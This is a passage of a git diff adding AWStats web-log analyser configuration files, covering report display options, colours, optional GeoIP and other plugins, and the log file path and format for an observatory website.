AWStats speed by 9% +LevelForKeywordsDetection=2 # 0 disables Keyphrases/Keywords detection. + # 2 reduces AWStats speed by 1% +LevelForFileTypesDetection=2 # 0 disables File types detection. + # 2 reduces AWStats speed by 1% +LevelForWormsDetection=0 # 0 disables Worms detection. + # 2 reduces AWStats speed by 15% + + + +#----------------------------------------------------------------------------- +# OPTIONAL APPEARANCE SETUP SECTION (Not required but increase AWStats features) +#----------------------------------------------------------------------------- + +# When you use AWStats as a CGI, you can have the reports shown in HTML frames. +# Frames are only available for report viewed dynamically. When you build +# pages from command line, this option is not used and no frames are built. +# Possible values: 0 or 1 +# Default: 1 +# +UseFramesWhenCGI=1 + + +# This parameter asks your browser to open detailed reports into a different +# window than the main page. +# Possible values: +# 0 - Open all in same browser window +# 1 - Open detailed reports in another window except if using frames +# 2 - Open always in a different window even if reports are framed +# Default: 1 +# +DetailedReportsOnNewWindows=1 + + +# You can add, in the HTML report page, a cache lifetime (in seconds) that +# will be returned to the browser in HTTP header answer by server. +# This parameter is not used when reports are built with -staticlinks option. +# Example: 3600 +# Default: 0 +# +Expires=0 + + +# To avoid too large web pages, you can ask AWStats to limit number of rows of +# all reported charts to this number when no other limits apply. +# Default: 1000 +# +MaxRowsInHTMLOutput=1000 + + +# Set your primary language (ISO-639-1 language codes). +# Possible values: +# Albanian=al, Bosnian=ba, Bulgarian=bg, Catalan=ca, +# Chinese (Taiwan)=tw, Chinese (Simpliefied)=cn, Croatian=hr, Czech=cz, +# Danish=dk, Dutch=nl, English=en, Estonian=et, Euskara=eu, Finnish=fi, +# French=fr, Galician=gl, German=de, Greek=gr, Hebrew=he, Hungarian=hu, +# Icelandic=is, Indonesian=id, Italian=it, Japanese=jp, Korean=ko, +# Latvian=lv, Norwegian (Nynorsk)=nn, Norwegian (Bokmal)=nb, Polish=pl, +# Portuguese=pt, Portuguese (Brazilian)=br, Romanian=ro, Russian=ru, +# Serbian=sr, Slovak=sk, Slovenian=si, Spanish=es, Swedish=se, Turkish=tr, +# Ukrainian=ua, Welsh=cy. +# First available language accepted by browser=auto +# Default: "auto" +# +Lang="auto" + + +# Set the location of language files. +# Example: "/usr/share/awstats/lang" +# Default: "./lang" (means lang directory is in same location than awstats.pl) +# +DirLang="./lang" + + +# Show menu header with reports' links +# Possible values: 0 or 1 +# Default: 1 +# +ShowMenu=1 + + +# You choose here which reports you want to see in the main page and what you +# want to see in those reports. +# Possible values: +# 0 - Report is not shown at all +# 1 - Report is shown in main page with an entry in menu and default columns +# XYZ - Report shows column informations defined by code X,Y,Z... +# X,Y,Z... are code letters among the following: +# U = Unique visitors +# V = Visits +# P = Number of pages +# H = Number of hits (or mails) +# B = Bandwith (or total mail size for mail logs) +# L = Last access date +# E = Entry pages +# X = Exit pages +# C = Web compression (mod_gzip,mod_deflate) +# M = Average mail size (mail logs) +# + +# Show monthly summary +# Context: Web, Streaming, Mail, Ftp +# Default: UVPHB, Possible column codes: UVPHB +ShowSummary=UVPHB + +# Show monthly chart +# Context: Web, Streaming, Mail, Ftp +# Default: UVPHB, Possible column codes: UVPHB +ShowMonthStats=UVPHB + +# Show days of month chart +# Context: Web, Streaming, Mail, Ftp +# Default: VPHB, Possible column codes: VPHB +ShowDaysOfMonthStats=VPHB + +# Show days of week chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHB, Possible column codes: PHB +ShowDaysOfWeekStats=PHB + +# Show hourly chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHB, Possible column codes: PHB +ShowHoursStats=PHB + +# Show domains/country chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHB, Possible column codes: UVPHB +ShowDomainsStats=PHB + +# Show hosts chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHBL, Possible column codes: PHBL +ShowHostsStats=PHBL + +# Show authenticated users chart +# Context: Web, Streaming, Ftp +# Default: 0, Possible column codes: PHBL +ShowAuthenticatedUsers=0 + +# Show robots chart +# Context: Web, Streaming +# Default: HBL, Possible column codes: HBL +ShowRobotsStats=HBL + +# Show worms chart +# Context: Web, Streaming +# Default: 0 (If set to other than 0, see also LevelForWormsDetection), Possible column codes: HBL +ShowWormsStats=0 + +# Show email senders chart (For use when analyzing mail log files) +# Context: Mail +# Default: 0, Possible column codes: HBML +ShowEMailSenders=0 + +# Show email receivers chart (For use when analyzing mail log files) +# Context: Mail +# Default: 0, Possible column codes: HBML +ShowEMailReceivers=0 + +# Show session chart +# Context: Web, Streaming, Ftp +# Default: 1, Possible column codes: None +ShowSessionsStats=1 + +# Show pages-url chart. +# Context: Web, Streaming, Ftp +# Default: PBEX, Possible column codes: PBEX +ShowPagesStats=PBEX + +# Show file types chart. +# Context: Web, Streaming, Ftp +# Default: HB, Possible column codes: HBC +ShowFileTypesStats=HB + +# Show file size chart (Not yet available) +# Context: Web, Streaming, Mail, Ftp +# Default: 1, Possible column codes: None +ShowFileSizesStats=0 + +# Show downloads chart. +# Context: Web, Streaming, Ftp +# Default: HB, Possible column codes: HB +ShowDownloadsStats=HB + +# Show operating systems chart +# Context: Web, Streaming, Ftp +# Default: 1, Possible column codes: None +ShowOSStats=1 + +# Show browsers chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowBrowsersStats=1 + +# Show screen size chart +# Context: Web, Streaming +# Default: 0 (If set to 1, see also MiscTrackerUrl), Possible column codes: None +ShowScreenSizeStats=0 + +# Show origin chart +# Context: Web, Streaming +# Default: PH, Possible column codes: PH +ShowOriginStats=PH + +# Show keyphrases chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowKeyphrasesStats=1 + +# Show keywords chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowKeywordsStats=1 + +# Show misc chart +# Context: Web, Streaming +# Default: a (See also MiscTrackerUrl parameter), Possible column codes: anjdfrqwp +ShowMiscStats=a + +# Show http errors chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowHTTPErrorsStats=1 + +# Show smtp errors chart (For use when analyzing mail log files) +# Context: Mail +# Default: 0, Possible column codes: None +ShowSMTPErrorsStats=0 + +# Show the cluster report (Your LogFormat must contains the %cluster tag) +# Context: Web, Streaming, Ftp +# Default: 0, Possible column codes: PHB +ShowClusterStats=0 + + +# Some graphical reports are followed by the data array of values. +# If you don't want this array (to reduce the report size for example), you +# can set thoose options to 0. +# Possible values: 0 or 1 +# Default: 1 +# +# Data array values for the ShowMonthStats report +AddDataArrayMonthStats=1 +# Data array values for the ShowDaysOfMonthStats report +AddDataArrayShowDaysOfMonthStats=1 +# Data array values for the ShowDaysOfWeekStats report +AddDataArrayShowDaysOfWeekStats=1 +# Data array values for the ShowHoursStats report +AddDataArrayShowHoursStats=1 + + +# In the Origin chart, you have stats on where your hits came from. You can +# include hits on pages that come from pages of same sites in this chart. +# Possible values: 0 or 1 +# Default: 0 +# +IncludeInternalLinksInOriginSection=0 + + +# The following parameters can be used to choose the maximum number of lines +# shown for the particular following reports. +# +# Stats by countries/domains +MaxNbOfDomain = 10 +MinHitDomain = 1 +# Stats by hosts +MaxNbOfHostsShown = 10 +MinHitHost = 1 +# Stats by authenticated users +MaxNbOfLoginShown = 10 +MinHitLogin = 1 +# Stats by robots +MaxNbOfRobotShown = 10 +MinHitRobot = 1 +# Stats for Downloads +MaxNbOfDownloadsShown = 10 +MinHitDownloads = 1 +# Stats by pages +MaxNbOfPageShown = 10 +MinHitFile = 1 +# Stats by OS +MaxNbOfOsShown = 10 +MinHitOs = 1 +# Stats by browsers +MaxNbOfBrowsersShown = 10 +MinHitBrowser = 1 +# Stats by screen size +MaxNbOfScreenSizesShown = 5 +MinHitScreenSize = 1 +# Stats by window size (following 2 parameters are not yet used) +MaxNbOfWindowSizesShown = 5 +MinHitWindowSize = 1 +# Stats by referers +MaxNbOfRefererShown = 10 +MinHitRefer = 1 +# Stats for keyphrases +MaxNbOfKeyphrasesShown = 10 +MinHitKeyphrase = 1 +# Stats for keywords +MaxNbOfKeywordsShown = 10 +MinHitKeyword = 1 +# Stats for sender or receiver emails +MaxNbOfEMailsShown = 20 +MinHitEMail = 1 + + +# Choose if you want the week report to start on sunday or monday +# Possible values: +# 0 - Week starts on sunday +# 1 - Week starts on monday +# Default: 1 +# +FirstDayOfWeek=1 + + +# List of visible flags that link to other language translations. +# See Lang parameter for list of allowed flag/language codes. +# If you don't want any flag link, set ShowFlagLinks to "". +# This parameter is used only if ShowMenu parameter is set to 1. +# Possible values: "" or "language_codes_separated_by_space" +# Example: "en es fr nl de" +# Default: "" +# +ShowFlagLinks="" + + +# Each URL, shown in stats report views, are links you can click. +# Possible values: 0 or 1 +# Default: 1 +# +ShowLinksOnUrl=1 + + +# When AWStats builds HTML links in its report pages, it starts those links +# with "http://". However some links might be HTTPS links, so you can enter +# here the root of all your HTTPS links. If all your site is a SSL web site, +# just enter "/". +# This parameter is not used if ShowLinksOnUrl is 0. +# Example: "/shopping" +# Example: "/" +# Default: "" +# +UseHTTPSLinkForUrl="" + + +# Maximum length of URL part shown on stats page (number of characters). +# This affects only URL visible text, links still work. +# Default: 64 +# +MaxLengthOfShownURL=64 + + +# You can enter HTML code that will be added at the top of AWStats reports. +# Default: "" +# +HTMLHeadSection="" + + +# You can enter HTML code that will be added at the end of AWStats reports. +# Great to add advert ban. +# Default: "" +# +HTMLEndSection="" + + +# By default AWStats page contains meta tag robots=noindex,nofollow +# If you want to have your statistics to be indexed, set this option to 1. +# Default: 0 +# +MetaRobot=0 + + +# You can set Logo and LogoLink to use your own logo. +# Logo must be the name of image file (must be in $DirIcons/other directory). +# LogoLink is the expected URL when clicking on Logo. +# Default: "awstats_logo6.png" +# +Logo="awstats_logo6.png" +LogoLink="http://www.awstats.org" + + +# Value of maximum bar width/height for horizontal/vertical HTML graphics bars. +# Default: 260/90 +# +BarWidth = 260 +BarHeight = 90 + + +# You can ask AWStats to use a particular CSS (Cascading Style Sheet) to +# change its look. To create a style sheet, you can use samples provided with +# AWStats in wwwroot/css directory. +# Example: "/awstatscss/awstats_bw.css" +# Example: "/css/awstats_bw.css" +# Default: "" +# +StyleSheet="" + + +# Those color parameters can be used (if StyleSheet parameter is not used) +# to change AWStats look. +# Example: color_name="RRGGBB" # RRGGBB is Red Green Blue components in Hex +# +color_Background="FFFFFF" # Background color for main page (Default = "FFFFFF") +color_TableBGTitle="CCCCDD" # Background color for table title (Default = "CCCCDD") +color_TableTitle="000000" # Table title font color (Default = "000000") +color_TableBG="CCCCDD" # Background color for table (Default = "CCCCDD") +color_TableRowTitle="FFFFFF" # Table row title font color (Default = "FFFFFF") +color_TableBGRowTitle="ECECEC" # Background color for row title (Default = "ECECEC") +color_TableBorder="ECECEC" # Table border color (Default = "ECECEC") +color_text="000000" # Color of text (Default = "000000") +color_textpercent="606060" # Color of text for percent values (Default = "606060") +color_titletext="000000" # Color of text title within colored Title Rows (Default = "000000") +color_weekend="EAEAEA" # Color for week-end days (Default = "EAEAEA") +color_link="0011BB" # Color of HTML links (Default = "0011BB") +color_hover="605040" # Color of HTML on-mouseover links (Default = "605040") +color_u="FFAA66" # Background color for number of unique visitors (Default = "FFAA66") +color_v="F4F090" # Background color for number of visites (Default = "F4F090") +color_p="4477DD" # Background color for number of pages (Default = "4477DD") +color_h="66DDEE" # Background color for number of hits (Default = "66DDEE") +color_k="2EA495" # Background color for number of bytes (Default = "2EA495") +color_s="8888DD" # Background color for number of search (Default = "8888DD") +color_e="CEC2E8" # Background color for number of entry pages (Default = "CEC2E8") +color_x="C1B2E2" # Background color for number of exit pages (Default = "C1B2E2") + + + +#----------------------------------------------------------------------------- +# PLUGINS +#----------------------------------------------------------------------------- + +# Add here all plugin files you want to load. +# Plugin files must be .pm files stored in 'plugins' directory. +# Uncomment LoadPlugin lines to enable a plugin after checking that perl +# modules required by the plugin are installed. + +# PLUGIN: Tooltips +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add tooltips pop-up help boxes to HTML report pages. +# NOTE: This will increased HTML report pages size, thus server load and bandwidth. +# +#LoadPlugin="tooltips" + +# PLUGIN: DecodeUTFKeys +# REQUIRED MODULES: Encode and URI::Escape +# PARAMETERS: None +# DESCRIPTION: Allow AWStats to show correctly (in language charset) +# keywords/keyphrases strings even if they were UTF8 coded by the +# referer search engine. +# +#LoadPlugin="decodeutfkeys" + +# PLUGIN: IPv6 +# PARAMETERS: None +# REQUIRED MODULES: Net::IP and Net::DNS +# DESCRIPTION: This plugin gives AWStats capability to make reverse DNS +# lookup on IPv6 addresses. +# +#LoadPlugin="ipv6" + +# PLUGIN: HashFiles +# REQUIRED MODULES: Storable +# PARAMETERS: None +# DESCRIPTION: AWStats DNS cache files are read/saved as native hash files. +# This increases DNS cache files loading speed, above all for very large web sites. +# +#LoadPlugin="hashfiles" + + +# PLUGIN: UserInfo +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add a text (Firtname, Lastname, Office Department, ...) in +# authenticated user reports for each login value. +# A text file called userinfo.myconfig.txt, with two fields (first is login, +# second is text to show, separated by a tab char) must be created in DirData +# directory. +# +#LoadPlugin="userinfo" + +# PLUGIN: HostInfo +# REQUIRED MODULES: Net::XWhois +# PARAMETERS: None +# DESCRIPTION: Add a column into host chart with a link to open a popup window that shows +# info on host (like whois records). +# +#LoadPlugin="hostinfo" + +# PLUGIN: ClusterInfo +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add a text (for example a full hostname) in cluster reports for each cluster +# number. A text file called clusterinfo.myconfig.txt, with two fields (first is +# cluster number, second is text to show) separated by a tab char. must be +# created into DirData directory. +# Note this plugin is useless if ShowClusterStats is set to 0 or if you don't +# use a personalized log format that contains %cluster tag. +# +#LoadPlugin="clusterinfo" + +# PLUGIN: UrlAliases +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add a text (Page title, description...) in URL reports before URL value. +# A text file called urlalias.myconfig.txt, with two fields (first is URL, +# second is text to show, separated by a tab char) must be created into +# DirData directory. +# +#LoadPlugin="urlalias" + +# PLUGIN: TimeHiRes +# REQUIRED MODULES: Time::HiRes (if Perl < 5.8) +# PARAMETERS: None +# DESCRIPTION: Time reported by -showsteps option is in millisecond. For debug purpose. +# +#LoadPlugin="timehires" + +# PLUGIN: TimeZone +# REQUIRED MODULES: Time::Local +# PARAMETERS: [timezone offset] +# DESCRIPTION: Allow AWStats to adjust time stamps for a different timezone +# This plugin reduces AWStats speed of 10% !!!!!!! +# LoadPlugin="timezone" +# LoadPlugin="timezone +2" +# LoadPlugin="timezone CET" +# +#LoadPlugin="timezone +2" + +# PLUGIN: Rawlog +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: This plugin adds a form in AWStats main page to allow users to see raw +# content of current log files. A filter is also available. +# +#LoadPlugin="rawlog" + +# PLUGIN: GraphApplet +# REQUIRED MODULES: None +# PARAMETERS: [CSS classes to override] +# DESCRIPTION: Supported charts are built by a 3D graphic applet. +# +#LoadPlugin="graphapplet /awstatsclasses" # EXPERIMENTAL FEATURE + +# PLUGIN: GraphGoogleChartAPI +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Replaces the standard charts with free Google API generated images +# in HTML reports. If country data is available and more than one country has hits, +# a map will be generated using Google Visualizations. +# Note: The machine where reports are displayed must have Internet access for the +# charts to be generated. The only data sent to Google includes the statistic numbers, +# legend names and country names. +# Warning: This plugin is not compatible with option BuildReportFormat=xhtml. +# +#LoadPlugin="graphgooglechartapi" + +# PLUGIN: GeoIPfree +# REQUIRED MODULES: Geo::IPfree version 0.2+ (from Graciliano M.P.) +# PARAMETERS: None +# DESCRIPTION: Country chart is built from an Internet IP-Country database. +# This plugin is useless for intranet only log files. +# Note: You must choose between using this plugin (need Perl Geo::IPfree +# module, database is free but not up to date) or the GeoIP plugin (need +# Perl Geo::IP module from Maxmind, database is also free and up to date). +# Note: Activestate provide a corrupted version of Geo::IPfree 0.2 Perl +# module, so install it from elsewhere (from www.cpan.org for example). +# This plugin reduces AWStats speed by up to 10% ! +# +#LoadPlugin="geoipfree" + +# MAXMIND GEO IP MODULES: Please see documentation for notes on all Maxmind modules + +# PLUGIN: GeoIP +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/geoip.dat[+/pathto/override.txt]] +# DESCRIPTION: Builds a country chart and adds an entry to the hosts +# table with country name +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip GEOIP_STANDARD /pathto/GeoIP.dat" + +# PLUGIN: GeoIP_City_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPCity.dat[+/pathto/override.txt]] +# DESCRIPTION: This plugin adds a column under the hosts field and tracks the pageviews +# and hits by city including regions. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_city_maxmind GEOIP_STANDARD /pathto/GeoIPCity.dat" + +# PLUGIN: GeoIP_ASN_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPASN.dat[+/pathto/override.txt][+http://linktoASlookup]] +# DESCRIPTION: This plugin adds a chart of AS numbers where the host IP address is registered. +# This plugin can display some ISP information if included in the database. You can also provide +# a link that will be used to lookup additional registration data. Put the link at the end of +# the parameter string and the report page will include the link with the full AS number at the end. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_asn_maxmind GEOIP_STANDARD /usr/local/geoip.dat+http://enc.com.au/itools/aut-num.php?autnum=" + +# PLUGIN: GeoIP_Region_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPRegion.dat[+/pathto/override.txt]] +# DESCRIPTION:This plugin adds a chart of hits by regions. Only regions for US and +# Canada can be detected. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_region_maxmind GEOIP_STANDARD /pathto/GeoIPRegion.dat" + +# PLUGIN: GeoIP_ISP_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPISP.dat[+/pathto/override.txt]] +# DESCRIPTION: This plugin adds a chart of hits by ISP. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_isp_maxmind GEOIP_STANDARD /pathto/GeoIPISP.dat" + +# PLUGIN: GeoIP_Org_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPOrg.dat[+/pathto/override.txt]] +# DESCRIPTION: This plugin add a chart of hits by Organization name +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_org_maxmind GEOIP_STANDARD /pathto/GeoIPOrg.dat" + + +#----------------------------------------------------------------------------- +# EXTRA SECTIONS +#----------------------------------------------------------------------------- + +# You can define your own charts, you choose here what are rows and columns +# keys. This feature is particularly useful for marketing purpose, tracking +# products orders for example. +# For this, edit all parameters of Extra section. Each set of parameter is a +# different chart. For several charts, duplicate section changing the number. +# Note: Each Extra section reduces AWStats speed by 8%. +# +# WARNING: A wrong setup of Extra section might result in too large arrays +# that will consume all your memory, making AWStats unusable after several +# updates, so be sure to setup it correctly. +# In most cases, you don't need this feature. +# +# ExtraSectionNameX is title of your personalized chart. +# ExtraSectionCodeFilterX is list of codes the record code field must match. +# Put an empty string for no test on code. +# ExtraSectionConditionX are conditions you can use to count or not the hit, +# Use one of the field condition +# (URL,URLWITHQUERY,QUERY_STRING,REFERER,UA,HOSTINLOG,HOST,VHOST,extraX) +# and a regex to match, after a coma. Use "||" for "OR". +# ExtraSectionFirstColumnTitleX is the first column title of the chart. +# ExtraSectionFirstColumnValuesX is a string to tell AWStats which field to +# extract value from +# (URL,URLWITHQUERY,QUERY_STRING,REFERER,UA,HOSTINLOG,HOST,VHOST,extraX) +# and how to extract the value (using regex syntax). Each different value +# found will appear in first column of report on a different row. Be sure +# that list of different possible values will not grow indefinitely. +# ExtraSectionFirstColumnFormatX is the string used to write value. +# ExtraSectionStatTypesX are things you want to count. You can use standard +# code letters (P for pages,H for hits,B for bandwidth,L for last access). +# ExtraSectionAddAverageRowX add a row at bottom of chart with average values. +# ExtraSectionAddSumRowX add a row at bottom of chart with sum values. +# MaxNbOfExtraX is maximum number of rows shown in chart. +# MinHitExtraX is minimum number of hits required to be shown in chart. +# + +# Example to report the 20 products the most ordered by "order.cgi" script +#ExtraSectionName1="Product orders" +#ExtraSectionCodeFilter1="200 304" +#ExtraSectionCondition1="URL,\/cgi\-bin\/order\.cgi||URL,\/cgi\-bin\/order2\.cgi" +#ExtraSectionFirstColumnTitle1="Product ID" +#ExtraSectionFirstColumnValues1="QUERY_STRING,productid=([^&]+)" +#ExtraSectionFirstColumnFormat1="%s" +#ExtraSectionStatTypes1=PL +#ExtraSectionAddAverageRow1=0 +#ExtraSectionAddSumRow1=1 +#MaxNbOfExtra1=20 +#MinHitExtra1=1 + + +# There is also a global parameter ExtraTrackedRowsLimit that limits the +# number of possible rows an ExtraSection can report. This parameter is +# here to protect too much memory use when you make a bad setup in your +# ExtraSection. It applies to all ExtraSection independently meaning that +# none ExtraSection can report more rows than value defined by ExtraTrackedRowsLimit. +# If you know an ExtraSection will report more rows than its value, you should +# increase this parameter or AWStats will stop with an error. +# Example: 2000 +# Default: 500 +# +ExtraTrackedRowsLimit=500 + + +#----------------------------------------------------------------------------- +# INCLUDES +#----------------------------------------------------------------------------- + +# You can include other config files using the directive with the name of the +# config file. +# This is particularly useful for users who have a lot of virtual servers, so +# a lot of config files and want to maintain common values in only one file. +# Note that when a variable is defined both in a config file and in an +# included file, AWStats will use the last value read for parameters that +# contains one value and AWStats will concat all values from both files for +# parameters that are lists of values. +# + +#Include "" + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.observatorio.conf b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.observatorio.conf new file mode 100644 index 0000000..423e746 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.observatorio.conf @@ -0,0 +1,1558 @@ +# AWSTATS CONFIGURE FILE 7.1 +#----------------------------------------------------------------------------- +# Copy this file into awstats.www.mydomain.conf and edit this new config file +# to setup AWStats (See documentation in docs/ directory). +# The config file must be in /etc/awstats, /usr/local/etc/awstats or /etc (for +# Unix/Linux) or same directory than awstats.pl (Windows, Mac, Unix/Linux...) +# To include an environment variable in any parameter (AWStats will replace +# it with its value when reading it), follow the example: +# Parameter="__ENVNAME__" +# Note that environment variable AWSTATS_CURRENT_CONFIG is always defined with +# the config value in an AWStats running session and can be used like others. +#----------------------------------------------------------------------------- +# $Revision: 1.355 $ - $Author: eldy $ - $Date: 2013/02/10 15:39:22 $ + + + +#----------------------------------------------------------------------------- +# MAIN SETUP SECTION (Required to make AWStats work) +#----------------------------------------------------------------------------- + +# "LogFile" contains the web, ftp or mail server log file to analyze. +# Possible values: A full path, or a relative path from awstats.pl directory. +# Example: "/var/log/apache/access.log" +# Example: "../logs/mycombinedlog.log" +# You can also use tags in this filename if you need a dynamic file name +# depending on date or time (Replacement is made by AWStats at the beginning +# of its execution). This is available tags : +# %YYYY-n is replaced with 4 digits year we were n hours ago +# %YY-n is replaced with 2 digits year we were n hours ago +# %MM-n is replaced with 2 digits month we were n hours ago +# %MO-n is replaced with 3 letters month we were n hours ago +# %DD-n is replaced with day we were n hours ago +# %HH-n is replaced with hour we were n hours ago +# %NS-n is replaced with number of seconds at 00:00 since 1970 +# %WM-n is replaced with the week number in month (1-5) +# %Wm-n is replaced with the week number in month (0-4) +# %WY-n is replaced with the week number in year (01-52) +# %Wy-n is replaced with the week number in year (00-51) +# %DW-n is replaced with the day number in week (1-7, 1=sunday) +# use n=24 if you need (1-7, 1=monday) +# %Dw-n is replaced with the day number in week (0-6, 0=sunday) +# use n=24 if you need (0-6, 0=monday) +# Use 0 for n if you need current year, month, day, hour... +# Example: "/var/log/access_log.%YYYY-0%MM-0%DD-0.log" +# Example: "C:/WINNT/system32/LogFiles/W3SVC1/ex%YY-24%MM-24%DD-24.log" +# You can also use a pipe if log file come from a pipe : +# Example: "gzip -d </var/log/apache/access.log.gz |" +# If there are several log files from load balancing servers : +# Example: "/pathtotools/logresolvemerge.pl *.log |" +# +#LogFile="../log/localhost_access_log.%YYYY-24-%MM-24-%DD-24.txt" +LogFile="/var/lib/tomcat7/logs/localhost_access_log.%YYYY-24-%MM-24-%DD-24.txt" + +# Enter the log file type you want to analyze. +# Possible values: +# W - For a web log file +# S - For a streaming log file +# M - For a mail log file +# F - For a ftp log file +# Example: W +# Default: W +# +LogType=W + + +# Enter here your log format (Must match your web server config. See setup +# instructions in documentation to know how to configure your web server to +# have the required log format). +# Possible values: 1,2,3,4 or "your_own_personalized_log_format" +# 1 - Apache or Lotus Notes/Domino native combined log format (NCSA combined/XLF/ELF log format) +# 2 - IIS or ISA format (IIS W3C log format). See FAQ-COM115 For ISA. +# 3 - Webstar native log format. +# 4 - Apache or Squid native common log format (NCSA common/CLF log format) +# With LogFormat=4, some features (browsers, os, keywords...) can't work. +# "your_own_personalized_log_format" = If your log is ftp, mail or other format, +# you must use following keys to define the log format string (See FAQ for +# ftp, mail or exotic web log format examples): +# %host Client hostname or IP address (or Sender host for mail log) +# %host_r Receiver hostname or IP address (for mail log) +# %lognamequot Authenticated login/user with format: "john" +# %logname Authenticated login/user with format: john +# %time1 Date and time with format: [dd/mon/yyyy:hh:mm:ss +0000] or [dd/mon/yyyy:hh:mm:ss] +# %time2 Date and time with format: yyyy-mm-dd hh:mm:ss +# %time3 Date and time with format: Mon dd hh:mm:ss or Mon dd hh:mm:ss yyyy +# %time4 Date and time with unix timestamp format: dddddddddd +# %time5 Date and time with format iso: yyyy-mm-ddThh:mm:ss +# %methodurl Method and URL with format: "GET /index.html HTTP/x.x" +# %methodurlnoprot Method and URL with format: "GET /index.html" +# %method Method with format: GET +# %url URL only with format: /index.html +# %query Query string (used by URLWithQuery option) +# %code Return code status (with format for web log: 999) +# %bytesd Size of document in bytes +# %refererquot Referer page with format: "http://from.com/from.htm" +# %referer Referer page with format: http://from.com/from.htm +# %uabracket User agent with format: [Mozilla/4.0 (compatible, ...)] +# %uaquot User agent with format: "Mozilla/4.0 (compatible, ...)" +# %ua User agent with format: Mozilla/4.0_(compatible...) +# %gzipin mod_gzip compression input bytes: In:XXX +# %gzipout mod_gzip compression output bytes & ratio: Out:YYY:ZZpct. +# %gzipratio mod_gzip compression ratio: ZZpct. +# %deflateratio mod_deflate compression ratio with format: (ZZ) +# %email EMail sender (for mail log) +# %email_r EMail receiver (for mail log) +# %virtualname Web sever virtual hostname. Use this tag when same log +# contains data of several virtual web servers. AWStats +# will discard records not in SiteDomain nor HostAliases +# %cluster If log file is provided from several computers (merged by +# logresolvemerge.pl), use this to define cluster id field. +# %extraX Another field that you plan to use for building a +# personalized report with ExtraSection feature (See later). +# If your log format has some fields not included in this list, use: +# %other Means another not used field +# %otherquot Means another not used double quoted field +# +# Examples for Apache combined logs (following two examples are equivalent): +# LogFormat = 1 +# LogFormat = "%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" +# +# Example for IIS: +# LogFormat = 2 +# +LogFormat= 1 + + +# If your log field's separator is not a space, you can change this parameter. +# This parameter is not used if LogFormat is a predefined value (1,2,3,4) +# Backslash can be used as escape character. +# Example: " " +# Example: "\t" +# Example: "\|" +# Example: "," +# Default: " " +# +LogSeparator=" " + + +# "SiteDomain" must contain the main domain name, or the main intranet web +# server name, used to reach the web site. +# If you share the same log file for several virtual web servers, this +# parameter is used to tell AWStats to filter record that contains records for +# this virtual host name only (So check that this virtual hostname can be +# found in your log file and use a personalized log format that include the +# %virtualname tag). +# But for multi hosting a better solution is to have one log file for each +# virtual web server. In this case, this parameter is only used to generate +# full URL's links when ShowLinksOnUrl option is set to 1. +# If analyzing mail log, enter here the domain name of mail server. +# Example: "myintranetserver" +# Example: "www.domain.com" +# Example: "ftp.domain.com" +# Example: "domain.com" +# +SiteDomain="observatorio.c3sl.ufpr.br" + + +# Enter here all other possible domain names, addresses or virtual host +# aliases someone can use to access your site. Try to keep only the minimum +# number of possible names/addresses to have the best performances. +# You can repeat the "SiteDomain" value in this list. +# This parameter is used to analyze referer field in log file and to help +# AWStats to know if a referer URL is a local URL of same site or an URL of +# another site. +# Note: Use space between each value. +# Note: You can use regular expression values writing value with REGEX[value]. +# Note: You can also use @/mypath/myfile if list of aliases are in a file. +# Example: "www.myserver.com localhost 127.0.0.1 REGEX[mydomain\.(net|org)$]" +# +HostAliases="localhost 127.0.0.1 REGEX[myserver\.com$]" + + +# If you want to have hosts reported by name instead of ip address, AWStats +# need to make reverse DNS lookups (if not already done in your log file). +# With DNSLookup to 0, all hosts will be reported by their IP addresses and +# not by the full hostname of visitors (except if names are already available +# in log file). +# If you want/need to set DNSLookup to 1, don't forget that this will reduce +# dramatically AWStats update process speed. Do not use on large web sites. +# Note: Reverse DNS lookup is done on IPv4 only (Enable ipv6 plugin for IPv6). +# Note: Result of DNS Lookup can be used to build the Country report. However +# it is highly recommanded to enable the plugin 'geoip' or 'geoipfree' to +# have an accurate Country report with no need of DNS Lookup. +# Possible values: +# 0 - No DNS Lookup +# 1 - DNS Lookup is fully enabled +# 2 - DNS Lookup is made only from static DNS cache file (if it 